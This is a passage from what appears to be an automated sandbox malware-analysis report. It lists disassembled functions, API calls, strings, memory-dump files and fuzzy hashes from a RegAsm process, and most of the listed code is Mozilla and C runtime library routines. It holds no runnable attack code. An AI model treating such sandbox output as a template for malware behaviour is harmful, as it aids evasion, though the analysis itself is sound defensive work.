Opcode Fuzzy Hash: 5fda3704cca8b46c26e57376527fcdfb5f101c2c62f6408c80e1ce1d3c04eca7
Instruction Fuzzy Hash: BF61BC71A04258CFCF14DFA8D8809AEBBB5FF4A314F15452AE812B7B51C731A944CFA2

Function 6CB99F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB99FDB
free.MOZGLUE(?,?), ref: 6CB99FF0
free.MOZGLUE(?,?), ref: 6CB9A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB9A0BE
free.MOZGLUE(?,?), ref: 6CB9A0D5
free.MOZGLUE(?,?), ref: 6CB9A0EB

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 16ba239c13476ef4f8d9917c3f248181f9359467669c9e06547cdf95989147a4
Instruction ID: e737403231a320bd9d847a32d83b76fb92168ac72b733e7a2787462c59f3a824
Opcode Fuzzy Hash: 16ba239c13476ef4f8d9917c3f248181f9359467669c9e06547cdf95989147a4
Instruction Fuzzy Hash: B961A2759087819FC711CF18C48055AB3F5FF89328F548669E8999BB02E731E996CFC2

Function 6CB9DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB9DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB9D38A,?), ref: 6CB9DC6F
free.MOZGLUE(?,?,?,?,?,6CB9D38A,?), ref: 6CB9DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB9D38A,?), ref: 6CB9DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB9D38A,?), ref: 6CB9DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB9D38A,?), ref: 6CB9DD4A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 520a47da56cfa8e940259d78d13760b6996f594cd93a12c4c8658800031a4265
Instruction ID: 8f594d33d0956a50b6744da96345e48a2cafeef619253bd903632d5c12174c0a
Opcode Fuzzy Hash: 520a47da56cfa8e940259d78d13760b6996f594cd93a12c4c8658800031a4265
Instruction Fuzzy Hash: A4415AB5A00615CFCB00CFAAD88099EB7F5FF8A318B554569D945ABB21D731FC14CB90

Function 0041AD4C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041AD5A

Part of subcall function 0041A97C: __mtinitlocknum.LIBCMT ref: 0041A992
Part of subcall function 0041A97C: __amsg_exit.LIBCMT ref: 0041A99E
Part of subcall function 0041A97C: EnterCriticalSection.KERNEL32(?,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041A9A6

DecodePointer.KERNEL32(0042A0C8,00000020,0041AE9D,?,00000001,00000000,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E), ref: 0041AD96
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADA7

Part of subcall function 0041B7F5: EncodePointer.KERNEL32(00000000,0041BA52,0042BDB8,00000314,00000000,?,?,?,?,?,0041B0C8,0042BDB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041B7F7

DecodePointer.KERNEL32(-00000004,?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADCD
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADE0
DecodePointer.KERNEL32(?,0041AEBF,000000FF,?,0041A9A3,00000011,?,?,0041A630,0000000E,0042A088,0000000C,0041A5FA), ref: 0041ADEA

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 9dbc0315d39e44e03e69b1948a2dcd69f9a60bb4760d8e37f8bab661b8eb1333
Instruction ID: 26cd67dfac1a625c080c990f5aa3a4e8d575379cc8cf2dcf3c78269be391da57
Opcode Fuzzy Hash: 9dbc0315d39e44e03e69b1948a2dcd69f9a60bb4760d8e37f8bab661b8eb1333
Instruction Fuzzy Hash: CB3129B09423498FDF109FA9D9452DEBBF1BF48314F14402BD410A6251DBBC48A5CF6E

Function 6CB86590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CB7FA80: GetCurrentThreadId.KERNEL32 ref: 6CB7FA8D
Part of subcall function 6CB7FA80: AcquireSRWLockExclusive.KERNEL32(6CBCF448), ref: 6CB7FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB86727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB867C8

Part of subcall function 6CB94290: memcpy.VCRUNTIME140(?,?,6CBA2003,6CBA0AD9,?,6CBA0AD9,00000000,?,6CBA0AD9,?,00000004,?,6CBA1A62,?,6CBA2003,?), ref: 6CB942C4

Strings

data, xrefs: 6CB86593

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 5ea529470a2396e1e806675ab18e84e557f4421b5558ad07ce3225665d458dd2
Instruction ID: b0a5ce4383e621ec636c553f66d479bfa222a27c0784347fbc7050f7035ba3f4
Opcode Fuzzy Hash: 5ea529470a2396e1e806675ab18e84e557f4421b5558ad07ce3225665d458dd2
Instruction Fuzzy Hash: 02D1DE74A193C08FD724CF24D850BAEB7E5AFD5308F10492DE48997B91DB30A909CB93

Function 6CB8CA20 Relevance: 9.1, APIs: 6, Instructions: 82timesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000001), ref: 6CB8CA57
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB8CA69
Sleep.KERNEL32 ref: 6CB8CADD
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB8CAEA
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB8CAF5
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CB8CB19

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Time$Now@SleepStamp@mozilla@@V12@_$BaseDurationFromMilliseconds@PlatformStampTicksUtils@mozilla@@V01@@Value@mozilla@@
String ID:
API String ID: 432163150-0
Opcode ID: 0c434d91ec5c0b1e6f37100dcc701abc14f7fd7d756c9adada4fd0f7f1234834
Instruction ID: 0841c6aaf6046d2ccf203678c5071dd82f4aa3637bfeab1d0b038f2d81aab4eb
Opcode Fuzzy Hash: 0c434d91ec5c0b1e6f37100dcc701abc14f7fd7d756c9adada4fd0f7f1234834
Instruction Fuzzy Hash: 71214771B046888BC708EF38D84156FF7B9FFC6348F408728E855A7685EF7485988791

Function 6CB9C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB9C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB9C842

Part of subcall function 6CB9CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6CBBB5EB,00000000), ref: 6CB9CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6CB9C863
std::_Facet_Register.LIBCPMT ref: 6CB9C875

Part of subcall function 6CB7B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6CBBB636,?), ref: 6CB7B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB9C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB9C8BC

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 4fb7fe872c25dd0403e8c56aedb0bb25f89285d9c8212c52767e66a16816248b
Instruction ID: ba3691092e78ff1b232431e5919a6cf091b7a49d71be9f9448561b5b6dfdbf49
Opcode Fuzzy Hash: 4fb7fe872c25dd0403e8c56aedb0bb25f89285d9c8212c52767e66a16816248b
Instruction Fuzzy Hash: E3118675B002499BCF00DFA4C8D98AEBB79EF8D355B100139EA1697741DB309A08CBA1

Function 6CB4EB90 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000104), ref: 6CB4EBB5

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB7D7F3), ref: 6CB4EBC3
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB7D7F3), ref: 6CB4EBD6
free.MOZGLUE(?,?,?,?,?,?,6CB7D7F3), ref: 6CB4EBF6
free.MOZGLUE(00000000,?,?,?,?,?,?,6CB7D7F3), ref: 6CB4EC0E

Part of subcall function 6CB65E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB65EDB
Part of subcall function 6CB65E90: memset.VCRUNTIME140(6CBA7765,000000E5,55CCCCCC), ref: 6CB65F27
Part of subcall function 6CB65E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB65FB2

GetLastError.KERNEL32(?,?,?,?,?,?,6CB7D7F3), ref: 6CB4EC1A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfreememset$EnterErrorFileLastLeaveModuleNamemallocmoz_xmalloc
String ID:
API String ID: 2948488910-0
Opcode ID: 59d4494cef31d9780d1f4d1a6f592b2b9e66df4abc5913e1e1c675129c30b79b
Instruction ID: c3ebc1b1cefa27189ede91c9886fb52cc7e27ebe9eff78b9a6c2649720021ae2
Opcode Fuzzy Hash: 59d4494cef31d9780d1f4d1a6f592b2b9e66df4abc5913e1e1c675129c30b79b
Instruction Fuzzy Hash: 88110CB1A082D45BEB00CBB9DC84BAFBAA8DF01758F144525E845EB785E3759D0887E3

Function 6CB7D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CB4EB57,?,?,?,?,?,?,?,?,?), ref: 6CB7D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CB4EB57,?), ref: 6CB7D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CB4EB57,?), ref: 6CB7D673
free.MOZGLUE(?), ref: 6CB7D888

Strings

|Enabled, xrefs: 6CB7D81E

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 0057babfb1aaf475459851b2a2d29a89618fbf153021fd2301df797c852f0b05
Instruction ID: 75ffb2fbdc515568b03a55fa8697efe05e0aa97dfca7b18adf9df1a2b3e62e86
Opcode Fuzzy Hash: 0057babfb1aaf475459851b2a2d29a89618fbf153021fd2301df797c852f0b05
Instruction Fuzzy Hash: A2A1E1B0A042848FDB21CF79D4907AEBBF1EF49358F18805CDCA9AB741D735A945CBA1

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5
zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction ID: c22392a9749b90d4c1c61cacca4cad5c9228f9bc2143d6a913daecdb3f55fa98
Opcode Fuzzy Hash: 25f82b5059035671600d9e83034a035f120b2cca1b3f6827d3773b31035260a8
Instruction Fuzzy Hash: F171D974A00109DFDB04CF48C484BAAB7B2FF88315F158179E84AAF395C739AA91CF95

Function 6CB90180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CB90270
GetCurrentThreadId.KERNEL32 ref: 6CB902E9
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB902F6
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB9033A

Strings

about:blank, xrefs: 6CB9020F

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: 5c2fa98154196f698575fd3f92366c287ca7880ce7a0416e6cf02c16e7dbbdf0
Instruction ID: 62df25d08aac9a891d451a557791520323234007ac1474570b2bfa9584895256
Opcode Fuzzy Hash: 5c2fa98154196f698575fd3f92366c287ca7880ce7a0416e6cf02c16e7dbbdf0
Instruction Fuzzy Hash: 4A51BF75A00299CFCB00DF58D480AAEB7F1FF4E328F644569D81AA7B41D731B945CBA2

Function 6CB8E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6CB8E084,00000000), ref: 6CB8E137

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6CB8E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6CB8E1E9

Part of subcall function 6CB899A0: GetCurrentThreadId.KERNEL32 ref: 6CB899C1
Part of subcall function 6CB899A0: AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB899CE
Part of subcall function 6CB899A0: ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB899F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6CB8E13F

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 04e7cafdf322aa10cf732b1cc63bd32905dce46dc10cd3d75c477af3a3e8b9ca
Instruction ID: fa39acefabbba26f6172d8827658951dcebd85a21b0acb77d1e5df9a2f4af125
Opcode Fuzzy Hash: 04e7cafdf322aa10cf732b1cc63bd32905dce46dc10cd3d75c477af3a3e8b9ca
Instruction Fuzzy Hash: F23144B5A053C09FC7049F6994003BEF7E1AFD9218F54882DE8995BB41DB708909C793

Function 6CB7F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CB7F480

Part of subcall function 6CB4F100: LoadLibraryW.KERNEL32(shell32,?,6CBBD020), ref: 6CB4F122
Part of subcall function 6CB4F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CB4F132

CloseHandle.KERNEL32(00000000), ref: 6CB7F555

Part of subcall function 6CB514B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB51248,6CB51248,?), ref: 6CB514C9
Part of subcall function 6CB514B0: memcpy.VCRUNTIME140(?,6CB51248,00000000,?,6CB51248,?), ref: 6CB514EF

Part of subcall function 6CB4EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CB4EEE3

CreateFileW.KERNEL32 ref: 6CB7F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CB7F523

Strings

\oleacc.dll, xrefs: 6CB7F4CB

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 1d126a7063c7b18ab7b9501f138aa438eaeed9aeb32d5528ac87ddb0c10b86e4
Instruction ID: ba441bf88ef0fb897fe3a93539ae2d1bba5dd3967c57bd44536b5df40a9c0b55
Opcode Fuzzy Hash: 1d126a7063c7b18ab7b9501f138aa438eaeed9aeb32d5528ac87ddb0c10b86e4
Instruction Fuzzy Hash: 0E41A4306087909FE720DF68C885A9FB7F4EF48318F504A1CF9A597650EB30D949CBA6

Function 6CB80210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB80222
moz_xmalloc.MOZGLUE(0000000C), ref: 6CB80231

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB8028B
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6CB802F7

Strings

@, xrefs: 6CB802D8

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: a16efd8ecb762e848a652b6167862a71f16dea95e765d75c702a62e22d1d4a81
Instruction ID: acdfef210ab2d2bc6ef420e29399941f6e266cd8fb9cc3c4e53e6713b4fb6026
